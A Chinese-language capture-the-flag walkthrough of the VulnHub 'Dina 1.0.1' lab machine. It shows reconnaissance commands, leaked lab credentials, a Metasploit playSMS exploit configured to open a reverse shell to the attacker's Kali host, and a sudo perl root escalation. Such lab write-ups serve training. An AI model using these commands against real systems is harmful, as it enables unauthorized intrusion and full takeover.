Dina: 1.0.1靶场

下载链接：https://download.vulnhub.com/dina/Dina-1-0-1.ova

一、信息收集

靶机界面

扫描主机ip

arp-scan -l

扫描端口

nmap -p- -A 192.168.137.129

扫描目录

dirb http://192.168.137.129/

打开网站

没有太多有用信息，点击提交后会有个目录

依旧没什么有用信息

进入http://192.168.137.129/robots.txt

逐一访问试试

除了/nothing 是这个页面外，其余都是空目录，那就先从这里入手

F12查看一波源代码发现泄露了类似与密码本的东西

#my secret pass
freedom
password
helloworld!
diana
iloveroot

继续查看其他目录 /secure 打开后有个zip文件下载下来放到kali里看看

发现里面是个mp3文件

尝试解压发现需要密码，拿刚刚泄露的密码试试，发现密码是freedom

发现文件好像损坏了，那应该是还有其他用处

那就先cat 一下试试

翻译过来大概是：我在电脑方面不是太聪明..…在服务器上我总是选择简单的密码.…带有密码备份文件。

里面附带了个 uname：touhid

还有个url : /SecreTSMSgatwayLogin

那就拼接一下尝试访问

进来后发现是个登陆界面，刚刚还给了用户名，密码先试试之前找到的密码本，尝试登陆

最终发现账户和密码为

username：touhid 
password：diana

二、Getshell

进来是这样的，左上角有个 playsms 的字眼，去msf搜搜有没有相关的漏洞

msfconsole
search playsms

发现有漏洞可以利用

use 0
set rhosts 192.168.137.129	 # 目标靶机IP
set password diana
set targeturi SecreTSMSgatwayLogin	# 目标靶机文件上传的路径，这个可以在url中看出
set username touhid
set lhost 192.168.137.130	    #kali的IP
show options                       # 检查一下有没有漏下的
run                           #运行

再转为交互式的shell

shell
python -c "import pty;pty.spawn('/bin/bash')"

这样就成功getshell

三、权限提升

先看看当前用户具有root权限的操作

sudo -l

发现了这样一个 /usr/bin/perl 那就去看看有没有可提权的payload

sudo perl -e 'exec "/bin/sh";'